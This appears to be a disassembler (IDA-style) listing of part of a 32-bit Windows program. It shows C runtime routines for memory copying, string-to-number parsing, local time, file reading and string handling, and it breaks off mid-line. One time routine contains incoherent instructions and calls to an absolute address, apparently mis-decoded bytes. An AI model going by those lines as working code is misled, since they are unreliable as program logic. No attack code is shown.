sub_4112D0:loc_41132Cj ; DATA XREF: sub_4112D0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4113F4: ; CODE XREF: sub_4112D0:loc_41132Cj ; DATA XREF: sub_4112D0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4113FC: ; CODE XREF: sub_4112D0:loc_41132Cj ; DATA XREF: sub_4112D0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41140F: ; CODE XREF: sub_4112D0:loc_41132Cj ; DATA XREF: sub_4112D0:off_4113ACo jmp ds:off_411418[edx*4] ; --------------------------------------------------------------------------- align 4 off_411418 dd offset loc_411428 ; DATA XREF: sub_4112D0+35r ; sub_4112D0+92r ... dd offset loc_411430 dd offset loc_41143C dd offset loc_411450 ; --------------------------------------------------------------------------- loc_411428: ; CODE XREF: sub_4112D0+35j ; sub_4112D0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_411430: ; CODE XREF: sub_4112D0+35j ; sub_4112D0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41143C: ; CODE XREF: sub_4112D0+35j ; sub_4112D0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_411450: ; CODE XREF: sub_4112D0+35j ; sub_4112D0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_411468: ; CODE XREF: sub_4112D0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41149C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_411490 std rep movsd cld jmp ds:off_4115B0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_411490: ; CODE XREF: sub_4112D0+1B1j ; sub_4112D0+208j ... neg ecx jmp ds:off_411560[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41149C: ; CODE XREF: sub_4112D0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4114B4 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_4114B4+4[eax*4] ; --------------------------------------------------------------------------- loc_4114B4: ; CODE XREF: sub_4112D0+1D6j ; DATA XREF: sub_4112D0+1DDr jmp ds:off_4115B0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4114C8 dd offset loc_4114E8 dd offset loc_411510 ; --------------------------------------------------------------------------- loc_4114C8: ; DATA XREF: sub_4112D0+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_411490 std rep movsd cld jmp ds:off_4115B0[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4114E8: ; DATA XREF: sub_4112D0+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_411490 std rep movsd cld jmp ds:off_4115B0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_411510: ; DATA XREF: sub_4112D0+1F4o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_411490 std rep movsd cld jmp ds:off_4115B0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_411564 dd offset loc_41156C dd offset loc_411574 dd offset loc_41157C dd offset loc_411584 dd offset loc_41158C dd offset loc_411594 off_411560 dd offset loc_4115A7 ; DATA XREF: sub_4112D0+1C2r ; --------------------------------------------------------------------------- loc_411564: ; DATA XREF: sub_4112D0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41156C: ; DATA XREF: sub_4112D0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_411574: ; DATA XREF: sub_4112D0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41157C: ; DATA XREF: sub_4112D0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_411584: ; DATA XREF: sub_4112D0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41158C: ; DATA XREF: sub_4112D0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_411594: ; DATA XREF: sub_4112D0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4115A7: ; CODE XREF: sub_4112D0+1C2j ; DATA XREF: sub_4112D0:off_411560o jmp ds:off_4115B0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4115B0 dd offset loc_4115C0 ; DATA XREF: sub_4112D0+1B7r ; sub_4112D0:loc_4114B4r ... dd offset loc_4115C8 dd offset loc_4115D8 dd offset loc_4115EC ; --------------------------------------------------------------------------- loc_4115C0: ; CODE XREF: sub_4112D0+1B7j ; sub_4112D0:loc_4114B4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4115C8: ; CODE XREF: sub_4112D0+1B7j ; sub_4112D0:loc_4114B4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4115D8: ; CODE XREF: sub_4112D0+1B7j ; sub_4112D0:loc_4114B4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4115EC: ; CODE XREF: sub_4112D0+1B7j ; sub_4112D0:loc_4114B4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4112D0 endp ; =============== S U B R O U T I N E ======================================= sub_411605 proc near ; CODE XREF: sub_40307F+34p ; sub_40307F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_410C21 pop ecx pop ecx retn sub_411605 endp ; =============== S U B R O U T I N E ======================================= sub_411613 proc near ; CODE XREF: sub_411680+4p arg_0 = dword ptr 4 push esi push ds:dword_460EB4 call sub_415698 mov edx, ds:dword_460EB4 pop ecx mov ecx, ds:dword_460EB0 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_411672 push edx call sub_415698 add eax, 10h push eax push ds:dword_460EB4 call sub_41237F add esp, 0Ch test eax, eax jnz short loc_411655 retn ; --------------------------------------------------------------------------- loc_411655: ; CODE XREF: sub_411613+3Fj mov ecx, ds:dword_460EB0 sub ecx, ds:dword_460EB4 mov ds:dword_460EB4, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov ds:dword_460EB0, ecx loc_411672: ; CODE XREF: sub_411613+23j mov eax, [esp+arg_0] mov [ecx], eax add ds:dword_460EB0, 4 retn sub_411613 endp ; =============== S U B R O U T I N E ======================================= sub_411680 proc near ; CODE XREF: sub_40316C+1Ap ; sub_41AFDE+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_411613 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_411680 endp ; =============== S U B R O U T I N E ======================================= sub_411692 proc near ; DATA XREF: seg002:0041E014o push 80h call sub_410C0F test eax, eax pop ecx mov ds:dword_460EB4, eax jnz short loc_4116B3 push 18h call sub_412ADE mov eax, ds:dword_460EB4 pop ecx loc_4116B3: ; CODE XREF: sub_411692+12j and dword ptr [eax], 0 mov eax, ds:dword_460EB4 mov ds:dword_460EB0, eax retn sub_411692 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116C1 proc near ; CODE XREF: sub_4118C9+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_4116D9: ; CODE XREF: sub_4116C1+46j cmp ds:dword_42E39C, 1 jle short loc_4116F1 movzx eax, bl push 8 push eax call sub_413446 pop ecx pop ecx jmp short loc_411700 ; --------------------------------------------------------------------------- loc_4116F1: ; CODE XREF: sub_4116C1+1Fj mov ecx, ds:off_42E190 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_411700: ; CODE XREF: sub_4116C1+2Ej test eax, eax jz short loc_411709 mov bl, [esi] inc esi jmp short loc_4116D9 ; --------------------------------------------------------------------------- loc_411709: ; CODE XREF: sub_4116C1+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_411717 or [ebp+arg_C], 2 jmp short loc_41171C ; --------------------------------------------------------------------------- loc_411717: ; CODE XREF: sub_4116C1+4Ej cmp bl, 2Bh jnz short loc_411722 loc_41171C: ; CODE XREF: sub_4116C1+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_411722: ; CODE XREF: sub_4116C1+59j mov eax, [ebp+arg_8] test eax, eax jl loc_4118B9 cmp eax, 1 jz loc_4118B9 cmp eax, 24h jg loc_4118B9 push 10h test eax, eax pop ecx jnz short loc_41176A cmp bl, 30h jz short loc_411754 mov [ebp+arg_8], 0Ah jmp short loc_411786 ; --------------------------------------------------------------------------- loc_411754: ; CODE XREF: sub_4116C1+88j mov al, [esi] cmp al, 78h jz short loc_411767 cmp al, 58h jz short loc_411767 mov [ebp+arg_8], 8 jmp short loc_411786 ; --------------------------------------------------------------------------- loc_411767: ; CODE XREF: sub_4116C1+97j ; sub_4116C1+9Bj mov [ebp+arg_8], ecx loc_41176A: ; CODE XREF: sub_4116C1+83j cmp [ebp+arg_8], ecx jnz short loc_411786 cmp bl, 30h jnz short loc_411786 mov al, [esi] cmp al, 78h jz short loc_41177E cmp al, 58h jnz short loc_411786 loc_41177E: ; CODE XREF: sub_4116C1+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_411786: ; CODE XREF: sub_4116C1+91j ; sub_4116C1+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_411796: ; CODE XREF: sub_4116C1+16Cj cmp ds:dword_42E39C, 1 movzx esi, bl jle short loc_4117AE push 4 push esi call sub_413446 pop ecx pop ecx jmp short loc_4117B9 ; --------------------------------------------------------------------------- loc_4117AE: ; CODE XREF: sub_4116C1+DFj mov eax, ds:off_42E190 mov al, [eax+esi*2] and eax, 4 loc_4117B9: ; CODE XREF: sub_4116C1+EBj test eax, eax jz short loc_4117C5 movsx ecx, bl sub ecx, 30h jmp short loc_4117F7 ; --------------------------------------------------------------------------- loc_4117C5: ; CODE XREF: sub_4116C1+FAj cmp ds:dword_42E39C, 1 jle short loc_4117D9 push edi push esi call sub_413446 pop ecx pop ecx jmp short loc_4117E4 ; --------------------------------------------------------------------------- loc_4117D9: ; CODE XREF: sub_4116C1+10Bj mov eax, ds:off_42E190 mov ax, [eax+esi*2] and eax, edi loc_4117E4: ; CODE XREF: sub_4116C1+116j test eax, eax jz short loc_411832 movsx eax, bl push eax call sub_4156C1 pop ecx mov ecx, eax sub ecx, 37h loc_4117F7: ; CODE XREF: sub_4116C1+102j cmp ecx, [ebp+arg_8] jnb short loc_411832 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41181C jnz short loc_411816 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41181C loc_411816: ; CODE XREF: sub_4116C1+147j or [ebp+arg_C], 4 jmp short loc_411825 ; --------------------------------------------------------------------------- loc_41181C: ; CODE XREF: sub_4116C1+145j ; sub_4116C1+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_411825: ; CODE XREF: sub_4116C1+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_411796 ; --------------------------------------------------------------------------- loc_411832: ; CODE XREF: sub_4116C1+125j ; sub_4116C1+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_411850 test edx, edx jz short loc_41184A mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41184A: ; CODE XREF: sub_4116C1+181j and [ebp+var_8], 0 jmp short loc_41189D ; --------------------------------------------------------------------------- loc_411850: ; CODE XREF: sub_4116C1+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_411876 test cl, 1 jnz short loc_41189D and ecx, 2 jz short loc_41186D cmp [ebp+var_8], 80000000h ja short loc_411876 loc_41186D: ; CODE XREF: sub_4116C1+1A1j test ecx, ecx jnz short loc_41189D cmp [ebp+var_8], eax jbe short loc_41189D loc_411876: ; CODE XREF: sub_4116C1+197j ; sub_4116C1+1AAj test byte ptr [ebp+arg_C], 1 mov ds:dword_45F844, 22h jz short loc_41188C or [ebp+var_8], 0FFFFFFFFh jmp short loc_41189D ; --------------------------------------------------------------------------- loc_41188C: ; CODE XREF: sub_4116C1+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41189D: ; CODE XREF: sub_4116C1+18Dj ; sub_4116C1+19Cj ... test edx, edx jz short loc_4118A6 mov eax, [ebp+var_4] mov [edx], eax loc_4118A6: ; CODE XREF: sub_4116C1+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_4118B4 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_4118B4: ; CODE XREF: sub_4116C1+1E9j mov eax, [ebp+var_8] jmp short loc_4118C4 ; --------------------------------------------------------------------------- loc_4118B9: ; CODE XREF: sub_4116C1+66j ; sub_4116C1+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_4118C2 mov [eax], edi loc_4118C2: ; CODE XREF: sub_4116C1+1FDj xor eax, eax loc_4118C4: ; CODE XREF: sub_4116C1+1F6j pop edi pop esi pop ebx leave retn sub_4116C1 endp ; =============== S U B R O U T I N E ======================================= sub_4118C9 proc near ; CODE XREF: sub_40318D+4BDp ; seg000:0040C132p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4116C1 add esp, 10h retn sub_4118C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4118E0 proc near ; CODE XREF: sub_40318D+266p ; sub_40318D+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_410B60 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41578D add esp, 10h leave retn sub_4118E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411914 proc near ; CODE XREF: sub_40318D+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = dword ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_A = byte ptr 12h push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call ds:dword_41C000 ; GetLocalTime lea eax, [ebp+var_20] push eax call near ptr 3D0000h mov dl, 66h mov eax, [ebp+var_16] cmp ax, ds:word_45F83A jnz short loc_411979 mov ax, [ebp+var_18] cmp ax, ds:word_45F838 jnz short loc_411979 mov ax, [ebp+var_1A] cmp ax, ds:word_45F836 jnz short loc_411979 mov ax, [ebp+var_1E] cmp ax, ds:word_45F832 jnz short loc_411979 mov ax, [ebp+var_20] cmp ax, ds:word_45F830 jnz short loc_411979 mov eax, ds:dword_45F828 jmp short loc_4119BE ; --------------------------------------------------------------------------- loc_411979: ; CODE XREF: sub_411914+28j ; sub_411914+35j ... lea eax, [ebp+var_CC] push eax call near ptr 3D0000h add al, 83h clc push dword ptr [ebx+ebx-7Dh] clc add dh, [ebp+arg_A] cmp [ebp+var_32], 0 jz short loc_4119A2 cmp [ebp+var_24], 0 jz short loc_4119A2 push 1 pop eax jmp short loc_4119A9 ; --------------------------------------------------------------------------- loc_4119A2: ; CODE XREF: sub_411914+81j ; sub_411914+87j xor eax, eax jmp short loc_4119A9 ; --------------------------------------------------------------------------- or eax, 0FFFFFFFFh loc_4119A9: ; CODE XREF: sub_411914+8Cj ; sub_411914+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_45F830 movsd movsd movsd movsd pop edi mov ds:dword_45F828, eax pop esi loc_4119BE: ; CODE XREF: sub_411914+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41623E mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_4119EE mov [ecx], eax locret_4119EE: ; CODE XREF: sub_411914+D6j leave retn sub_411914 endp ; =============== S U B R O U T I N E ======================================= sub_4119F0 proc near ; CODE XREF: sub_40380D+7Cp ; seg000:00408144p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_411A05 or eax, 0FFFFFFFFh jmp short loc_411A3F ; --------------------------------------------------------------------------- loc_411A05: ; CODE XREF: sub_4119F0+Ej test al, 83h jz short loc_411A3D push esi call sub_416419 push esi mov edi, eax call sub_4163B3 push dword ptr [esi+10h] call sub_416300 add esp, 0Ch test eax, eax jge short loc_411A2B or edi, 0FFFFFFFFh jmp short loc_411A3D ; --------------------------------------------------------------------------- loc_411A2B: ; CODE XREF: sub_4119F0+34j mov eax, [esi+1Ch] test eax, eax jz short loc_411A3D push eax call sub_410C83 and dword ptr [esi+1Ch], 0 pop ecx loc_411A3D: ; CODE XREF: sub_4119F0+17j ; sub_4119F0+39j ... mov eax, edi loc_411A3F: ; CODE XREF: sub_4119F0+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_4119F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A46 proc near ; CODE XREF: sub_40380D+4Ep ; seg000:00408125p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_411A6A xor eax, eax jmp loc_411B13 ; --------------------------------------------------------------------------- loc_411A6A: ; CODE XREF: sub_411A46+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_411A7D mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_411A89 ; --------------------------------------------------------------------------- loc_411A7D: ; CODE XREF: sub_411A46+2Dj mov [ebp+arg_C], 1000h jmp short loc_411A89 ; --------------------------------------------------------------------------- loc_411A86: ; CODE XREF: sub_411A46+C4j mov ecx, [ebp+arg_0] loc_411A89: ; CODE XREF: sub_411A46+35j ; sub_411A46+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_411ABB mov eax, [esi+4] test eax, eax jz short loc_411ABB cmp ecx, eax mov edi, ecx jb short loc_411AA0 mov edi, eax loc_411AA0: ; CODE XREF: sub_411A46+56j push edi push dword ptr [esi] push ebx call sub_4105F0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_411B06 ; --------------------------------------------------------------------------- loc_411ABB: ; CODE XREF: sub_411A46+49j ; sub_411A46+50j cmp ecx, [ebp+arg_C] jb short loc_411AEE cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_411AD1 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_411AD1: ; CODE XREF: sub_411A46+80j push eax push ebx push dword ptr [esi+10h] call sub_4165C4 add esp, 0Ch test eax, eax jz short loc_411B18 cmp eax, 0FFFFFFFFh jz short loc_411B1E sub [ebp+arg_0], eax add ebx, eax jmp short loc_411B06 ; --------------------------------------------------------------------------- loc_411AEE: ; CODE XREF: sub_411A46+78j push esi call sub_4164EB cmp eax, 0FFFFFFFFh pop ecx jz short loc_411B22 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_411B06: ; CODE XREF: sub_411A46+73j ; sub_411A46+A6j cmp [ebp+arg_0], 0 jnz loc_411A86 mov eax, [ebp+arg_8] loc_411B13: ; CODE XREF: sub_411A46+1Fj ; sub_411A46+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_411B18: ; CODE XREF: sub_411A46+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_411B22 ; --------------------------------------------------------------------------- loc_411B1E: ; CODE XREF: sub_411A46+9Fj or dword ptr [esi+0Ch], 20h loc_411B22: ; CODE XREF: sub_411A46+B2j ; sub_411A46+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_411B13 sub_411A46 endp ; =============== S U B R O U T I N E ======================================= sub_411B2E proc near ; CODE XREF: sub_411B4E+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41692A test eax, eax jnz short loc_411B38 retn ; --------------------------------------------------------------------------- loc_411B38: ; CODE XREF: sub_411B2E+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4167BA add esp, 10h retn sub_411B2E endp ; =============== S U B R O U T I N E ======================================= sub_411B4E proc near ; CODE XREF: sub_40380D+2Ap ; seg000:00404AF6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_411B2E add esp, 0Ch retn sub_411B4E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411B70 proc near ; CODE XREF: sub_4038A7+2BFp ; sub_406C6E+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_411BE1 sub_411B70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411B80 proc near ; CODE XREF: seg000:00403FE1p ; sub_406C6E+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_411B9C loc_411B8D: ; CODE XREF: sub_411B80+1Aj mov al, [ecx] inc ecx test al, al jz short loc_411BCF test ecx, 3 jnz short loc_411B8D loc_411B9C: ; CODE XREF: sub_411B80+Bj ; sub_411B80+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_411B9C mov eax, [ecx-4] test al, al jz short loc_411BDE test ah, ah jz short loc_411BD9 test eax, 0FF0000h jz short loc_411BD4 test eax, 0FF000000h jz short loc_411BCF jmp short loc_411B9C ; --------------------------------------------------------------------------- loc_411BCF: ; CODE XREF: sub_411B80+12j ; sub_411B80+4Bj lea edi, [ecx-1] jmp short loc_411BE1 ; --------------------------------------------------------------------------- loc_411BD4: ; CODE XREF: sub_411B80+44j lea edi, [ecx-2] jmp short loc_411BE1 ; --------------------------------------------------------------------------- loc_411BD9: ; CODE XREF: sub_411B80+3Dj lea edi, [ecx-3] jmp short loc_411BE1 ; --------------------------------------------------------------------------- loc_411BDE: ; CODE XREF: sub_411B80+39j lea edi, [ecx-4] loc_411BE1: ; CODE XREF: sub_411B70+5j ; sub_411B80+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_411C06 loc_411BED: ; CODE XREF: sub_411B80+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_411C58 mov [edi], dl inc edi test ecx, 3 jnz short loc_411BED jmp short loc_411C06 ; --------------------------------------------------------------------------- loc_411C01: ; CODE XREF: sub_411B80+9Ej ; sub_411B80+B8j mov [edi], edx add edi, 4 loc_411C06: ; CODE XREF: sub_411B80+6Bj ; sub_411B80+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_411C01 test dl, dl jz short loc_411C58 test dh, dh jz short loc_411C4F test edx, 0FF0000h jz short loc_411C42 test edx, 0FF000000h jz short loc_411C3A jmp short loc_411C01 ; --------------------------------------------------------------------------- loc_411C3A: ; CODE XREF: sub_411B80+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_411C42: ; CODE XREF: sub_411B80+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_411C4F: ; CODE XREF: sub_411B80+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_411C58: ; CODE XREF: sub_411B80+72j ; sub_411B80+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_411B80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C60 proc near ; CODE XREF: sub_4038A7+2B2p ; seg000:00403F85p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_411C79: ; CODE XREF: sub_411C60+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_411C79 mov edx, [ebp+arg_0] test edx, edx jnz short loc_411CA1 mov edx, ds:dword_45F840 loc_411CA1: ; CODE XREF: sub_411C60+39j ; sub_411C60+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_411CC1 test al, al jz short loc_411CC1 inc edx jmp short loc_411CA1 ; --------------------------------------------------------------------------- loc_411CC1: ; CODE XREF: sub_411C60+58j ; sub_411C60+5Cj mov ebx, edx loc_411CC3: ; CODE XREF: sub_411C60+81j mov al, [edx] test al, al jz short loc_411CE7 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_411CE3 inc edx jmp short loc_411CC3 ; --------------------------------------------------------------------------- loc_411CE3: ; CODE XREF: sub_411C60+7Ej and byte ptr [edx], 0 inc edx loc_411CE7: ; CODE XREF: sub_411C60+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov ds:dword_45F840, edx and eax, ebx pop ebx leave retn sub_411C60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411D00 proc near ; CODE XREF: sub_404134+1B4p ; seg000:00405068p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_411D83 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_411D24 shr ecx, 2 jnz short loc_411D91 jmp short loc_411D45 ; --------------------------------------------------------------------------- loc_411D24: ; CODE XREF: sub_411D00+1Bj ; sub_411D00+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_411D52 test al, al jz short loc_411D5A test esi, 3 jnz short loc_411D24 mov ebx, ecx shr ecx, 2 jnz short loc_411D91 loc_411D40: ; CODE XREF: sub_411D00+8Fj and ebx, 3 jz short loc_411D52 loc_411D45: ; CODE XREF: sub_411D00+22j ; sub_411D00+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_411D7E dec ebx jnz short loc_411D45 loc_411D52: ; CODE XREF: sub_411D00+2Bj ; sub_411D00+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_411D5A: ; CODE XREF: sub_411D00+2Fj test edi, 3 jz short loc_411D74 loc_411D62: ; CODE XREF: sub_411D00+72j mov [edi], al inc edi dec ecx jz loc_411DF6 test edi, 3 jnz short loc_411D62 loc_411D74: ; CODE XREF: sub_411D00+60j mov ebx, ecx shr ecx, 2 jnz short loc_411DE7 loc_411D7B: ; CODE XREF: sub_411D00+7Fj ; sub_411D00+F4j mov [edi], al inc edi loc_411D7E: ; CODE XREF: 